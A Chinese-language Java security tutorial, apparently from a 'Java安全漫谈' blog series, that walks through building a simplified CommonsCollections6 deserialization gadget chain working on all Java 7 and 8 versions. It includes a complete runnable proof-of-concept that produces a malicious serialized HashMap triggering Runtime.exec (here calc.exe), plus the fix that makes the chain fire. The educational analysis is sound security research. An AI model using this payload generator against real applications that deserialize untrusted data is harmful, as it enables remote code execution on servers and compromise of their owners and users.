手工编写简化版CommonsCollections6，带你实现Java8全版本反序列化利用

这是代码审计知识星球中《Java安全漫谈》的第十二篇文章。
本文带大家编写一个简化版的CommonsCollections6利用链，代码量相比于ysoserial减少50%，能够让大家更好理解。

上一篇文章我们详细分析了CommonsCollections1这个利用链和其中的LazyMap原理。但是我们说到，在Java 8u71以后，这个利用链不能再利用了，主要原因是
sun.reflect.annotation.AnnotationInvocationHandler#readObject
的逻辑变化了。

在ysoserial中，CommonsCollections6可以说是commons-collections这个库中相对比较通用的利用链，为了解决高版本Java的利用问题，我们先来看看这个利用链。
不过，本文我不会按照ysoserial中的代码进行讲解，原因是ysoserial的代码过于复杂了，而且其实用到了一些没必要的类。
我们先看下我这条简化版利用链：

/*

    Gadget chain:

        java.io.ObjectInputStream.readObject()

            java.util.HashMap.readObject()

                java.util.HashMap.hash()

                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()

                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()

                        org.apache.commons.collections.map.LazyMap.get()

                            org.apache.commons.collections.functors.ChainedTransformer.transform()

                            org.apache.commons.collections.functors.InvokerTransformer.transform()

                            java.lang.reflect.Method.invoke()

                                java.lang.Runtime.exec()

*/

我们需要看的主要是从最开始到
org.apache.commons.collections.map.LazyMap.get()
的那一部分，因为
LazyMap#get

后面的部分在上一篇文章里已经说了。所以简单来说， 解决Java高版本利用问题，实际上就是在找上下文中是否还有其他调用

LazyMap#get()
的地方
。

我们找到的类是
org.apache.commons.collections.keyvalue.TiedMapEntry
，在其getValue方法中调用了
this.map.get
，而其hashCode方法调用了getValue方法：

package org.apache.commons.collections.keyvalue;




import java.io.Serializable;

import java.util.Map;

import java.util.Map.Entry;

import org.apache.commons.collections.KeyValue;




public class TiedMapEntry implements Entry, KeyValue, Serializable {

private static final long serialVersionUID = -8453869361373831205L;

private final Map map;

private final Object key;




public TiedMapEntry(Map map, Object key) {

this.map = map;

this.key = key;

    }




public Object getKey() {

return this.key;

    }




public Object getValue() {

return this.map.get(this.key);

    }




// ...




public int hashCode() {

        Object value = this.getValue();

return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());

    }




// ...

}

所以，欲触发LazyMap利用链，要找到就是哪里调用了
TiedMapEntry#hashCode
。

ysoserial中，是利用
java.util.HashSet#readObject
到
HashMap#put()
到
HashMap#hash(key)
最后到
TiedMapEntry#hashCode()
。

实际上我发现，在
java.util.HashMap#readObject
中就可以找到
HashMap#hash()
的调用，去掉了最前面的两次调用：

public class HashMap extends AbstractMap

    implements Map, Cloneable, Serializable {




    // ...




    static final int hash(Object key) {

        int h;

        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);

    }




    // ...




    private void readObject(java.io.ObjectInputStream s)

        throws IOException, ClassNotFoundException {

        // Read in the threshold (ignored), loadfactor, and any hidden stuff

        s.defaultReadObject();

        // ...




            // Read the keys and values, and put the mappings in the HashMap

            for (int i = 0; i < mappings; i++) {

                @SuppressWarnings("unchecked")

                    K key = (K) s.readObject();

                @SuppressWarnings("unchecked")

                    V value = (V) s.readObject();

                putVal(hash(key), key, value, false, false);

            }

        }

    }

在HashMap的readObject方法中，调用到了
hash(key)
，而hash方法中，调用到了
key.hashCode()
。所以，我们只需要让这个key等于TiedMapEntry对象，即可连接上前面的分析过程，构成一个完整的Gadget。

构造Gadget代码

说干就干，我们开始编写代码。
首先，我们先把恶意LazyMap构造出来：

Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};

Transformer[] transformers = new Transformer[] {

    new ConstantTransformer(Runtime.class),

    new InvokerTransformer("getMethod", new Class[] { String.class,

                                                     Class[].class }, new Object[] { "getRuntime",

                                                                                    new Class[0] }),

    new InvokerTransformer("invoke", new Class[] { Object.class,

                                                  Object[].class }, new Object[] { null, new Object[0] }),

    new InvokerTransformer("exec", new Class[] { String.class },

                           new String[] { "calc.exe" }),

    new ConstantTransformer(1),

};

Transformer transformerChain = new ChainedTransformer(fakeTransformers);




Map innerMap = new HashMap();

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

上述代码，就像我在《Java安全漫谈 – 11.反序列化篇(5)》中说过的，为了避免本地调试时触发命令执行，我构造LazyMap的时候先用了一个人畜无害的
fakeTransformers
对象，等最后要生成Payload的时候，再把真正的
transformers
替换进去。

现在，我拿到了一个恶意的LazyMap对象
outerMap
，将其作为
TiedMapEntry
的map属性：

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

接着，为了调用
TiedMapEntry#hashCode()
，我们需要将
tme
对象作为
HashMap
的一个key。注意，这里我们需要新建一个HashMap，而不是用之前LazyMap利用链里的那个HashMap，两者没任何关系：

Map expMap = new HashMap();

expMap.put(tme, "valuevalue");

最后，我就可以将这个
expMap
作为对象来序列化了，不过，别忘了将真正的
transformers
数组设置进来：

// ==================

// 将真正的transformers数组设置进来

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");

f.setAccessible(true);

f.set(transformerChain, transformers);




// ==================

// 生成序列化字符串

ByteArrayOutputStream barr = new ByteArrayOutputStream();

ObjectOutputStream oos = new ObjectOutputStream(barr);

oos.writeObject(expMap);

oos.close();

执行！

Nothing happend！并没有弹出计算器，这是为什么？

为什么我们构造的Gadget没有成功执行命令？

我们来反思一下，为什么我们构造的Gadget没有成功执行命令？

单步调试一下，你会发现关键点在LazyMap的get方法，下图我画框的部分，就是最后触发命令执行的
transform()
，但是这个if语句并没有进入，因为
map.containsKey(key)
的结果是true：

这是为什么呢？outerMap中我并没有放入一个key是
keykey
的对象呀？

我们看下之前的代码，唯一出现
keykey
的地方就是在
TiedMapEntry
的构造函数里，但
TiedMapEntry
的构造函数并没有修改outerMap：

Map innerMap = new HashMap();

Map outerMap = LazyMap.decorate(innerMap, transformerChain);




TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");




Map expMap = new HashMap();

expMap.put(tme, "valuevalue");

其实，这个关键点就出在
expMap.put(tme, "valuevalue");
这个语句里面。

HashMap的put方法中，也有调用到
hash(key)
：

public V put(K key, V value) {

    return putVal(hash(key), key, value, false, true);

}

这里就导致
LazyMap
这个利用链在这里被调用了一遍，因为我前面用了
fakeTransformers
，所以此时并没有触发命令执行，但实际上也对我们构造Payload产生了影响。

我们的解决方法也很简单，只需要将keykey这个Key，再从outerMap中移除即可：
outerMap.remove("keykey")
。

最后，我构造的完整POC如下，代码也可以在Github上找到：

package com.govuln;




import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.keyvalue.TiedMapEntry;

import org.apache.commons.collections.map.LazyMap;




import java.io.*;

import java.lang.reflect.Field;

import java.util.HashMap;

import java.util.Map;




public class CommonsCollections6 {

    public static void main(String[] args) throws Exception {

        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};

        Transformer[] transformers = new Transformer[] {

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getMethod", new Class[] { String.class,

                        Class[].class }, new Object[] { "getRuntime",

                        new Class[0] }),

                new InvokerTransformer("invoke", new Class[] { Object.class,

                        Object[].class }, new Object[] { null, new Object[0] }),

                new InvokerTransformer("exec", new Class[] { String.class },

                        new String[] { "calc.exe" }),

                new ConstantTransformer(1),

        };

        Transformer transformerChain = new ChainedTransformer(fakeTransformers);




        // 不再使用原CommonsCollections6中的HashSet，直接使用HashMap

        Map innerMap = new HashMap();

        Map outerMap = LazyMap.decorate(innerMap, transformerChain);




        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");




        Map expMap = new HashMap();

        expMap.put(tme, "valuevalue");




        outerMap.remove("keykey");




        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");

        f.setAccessible(true);

        f.set(transformerChain, transformers);




        // ==================

        // 生成序列化字符串

        ByteArrayOutputStream barr = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(barr);

        oos.writeObject(expMap);

        oos.close();




        // 本地测试触发

        System.out.println(barr);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));

        Object o = (Object)ois.readObject();

    }

}

大家可以对比一下，相比于ysoserial的CommonsCollections6的代码长度和理解的难度，我这个简化版是不是方便理解得多，实际上原理是类似的，并不是一个新的利用链。
这个利用链可以在Java 7和8的高版本触发，没有版本限制：

当然，我并不是说自己简化的Gadget一定比ysoserial原版要好，毕竟原版的很多代码会考虑的更加全面，在实战中能应对更多复杂的情况。但就单从初学者理解的角度看，我这个简化版肯定是更加方便理解和学习的，相信这篇文章也能给大家带来一些启发。